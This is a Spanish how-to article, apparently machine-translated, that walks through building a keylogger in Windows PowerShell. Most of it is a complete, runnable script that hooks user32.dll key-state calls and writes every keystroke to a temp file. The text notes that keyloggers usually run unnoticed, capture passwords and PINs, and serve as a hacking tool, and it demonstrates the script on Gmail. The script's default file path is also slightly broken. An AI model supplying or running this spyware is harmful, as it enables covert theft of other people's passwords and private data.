Cómo crear un keylogger simple usted mismo en Windows

Cómo crear un keylogger simple usted mismo en Windows: – El registro de teclas es el proceso de registrar las pulsaciones de teclas realizadas en un teclado en un registro. Esto a menudo se hace sin que el usuario se dé cuenta. El registro de teclas también se usa ampliamente como un truco de piratería. Mediante el registro de teclas, todas las pulsaciones de teclas realizadas en un teclado se pueden grabar de manera eficiente. Esto puede incluir contraseñas, nombres de usuario, pines secretos, datos confidenciales, etc. El registro de teclas también se puede utilizar para detectar intrusiones. En este artículo, se utiliza un marco de Windows conocido como Powershell para crear un registrador de teclas simple. Consiste en un shell de línea de comandos y un lenguaje de programación asociado. Powershell se basa en el marco .NET y se usa ampliamente para diversas aplicaciones.



Ver también:- Cómo detener el programa keylogger de Windows 10



PASO 1

  • Extienda el menú Inicio. Escribir Windows PowerShell en la barra de búsqueda. Desde los resultados de la búsqueda, abre las aplicaciones. Windows PowerShell y Windows PowerShell ISE como se muestra en la captura de pantalla.

1 búsqueda

PASO 2

  • Haga clic en Windows PowerShell en la barra de tareas. Esto resultará en la aparición de Windows PowerShell símbolo del sistema.

2powerShell

PASO 3

  • Copie el código que se proporciona a continuación y péguelo en el Windows PowerShell símbolo del sistema. Para copiar o pegar, solo necesita seleccionar el código y hacer clic derecho, en el símbolo del sistema de PowerShell.
    #requires -Version 2
    function Start-KeyLogger($Path="$env:tempkeylogger.txt") 
    {
      # Signatures for API Calls
      $signatures = @'
    [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
    public static extern short GetAsyncKeyState(int virtualKeyCode); 
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int GetKeyboardState(byte[] keystate);
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MapVirtualKey(uint uCode, int uMapType);
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
    '@
    
      # load signatures and make members available
      $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
        
      # create output file
      $null = New-Item -Path $Path -ItemType File -Force
    
      try
      {
        Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
    
        # create endless loop. When user presses CTRL+C, finally-block
        # executes and shows the collected key presses
        while ($true) {
          Start-Sleep -Milliseconds 40
          
          # scan all ASCII codes above 8
          for ($ascii = 9; $ascii -le 254; $ascii++) {
            # get current key state
            $state = $API::GetAsyncKeyState($ascii)
    
            # is key pressed?
            if ($state -eq -32767) {
              $null = [console]::CapsLock
    
              # translate scan code to real code
              $virtualKey = $API::MapVirtualKey($ascii, 3)
    
              # get keyboard state for virtual keys
              $kbstate = New-Object Byte[] 256
              $checkkbstate = $API::GetKeyboardState($kbstate)
    
              # prepare a StringBuilder to receive input key
              $mychar = New-Object -TypeName System.Text.StringBuilder
    
              # translate virtual key
              $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
    
              if ($success) 
              {
                # add key to logger file
                [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
              }
            }
          }
        }
      }
      finally
      {
        # open logger file in Notepad
        notepad $Path
      }
    }
    
    # records all key presses until script is aborted by pressing CTRL+C
    # will then open the file with collected key codes
    Start-KeyLogger
    

ETAPA 4

  • Ahora el Windows PowerShell se verá como la siguiente captura de pantalla.

3copyCode

PASO 5

  • Ahora abra alguna aplicación y presione algunas teclas. He abierto G-Mail como ejemplo.

4 teclas

PASO 6

  • Una vez que haya terminado de presionar las teclas, mire la parte inferior del código en el Windows PowerShell símbolo del sistema. Allí verá una instrucción Grabación de pulsaciones de teclas. Presione CTRL + C para ver los resultados. prensa CTRL + C según las instrucciones para ver las pulsaciones de teclas registradas.

PASO 7

  • Prensado CTRL + C resultará en la apertura de un archivo de bloc de notas, que tiene las pulsaciones de teclas grabadas.

5 bloc de notas

PASO 8


ANUNCIO


  • Alternativamente, puede abrir el Windows PowerShell ISE como se muestra en el primer paso y copie el código. A continuación, haga clic en el Tocar icono para ejecutar el script. Esto también dará el mismo resultado.

6PowerShellISE

Eso es. Crear tu propio keylogger ya no es un paseo por el océano. Espero que el artículo haya resultado útil.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies, pinche el enlace para mayor información.plugin cookies

ACEPTAR
Aviso de cookies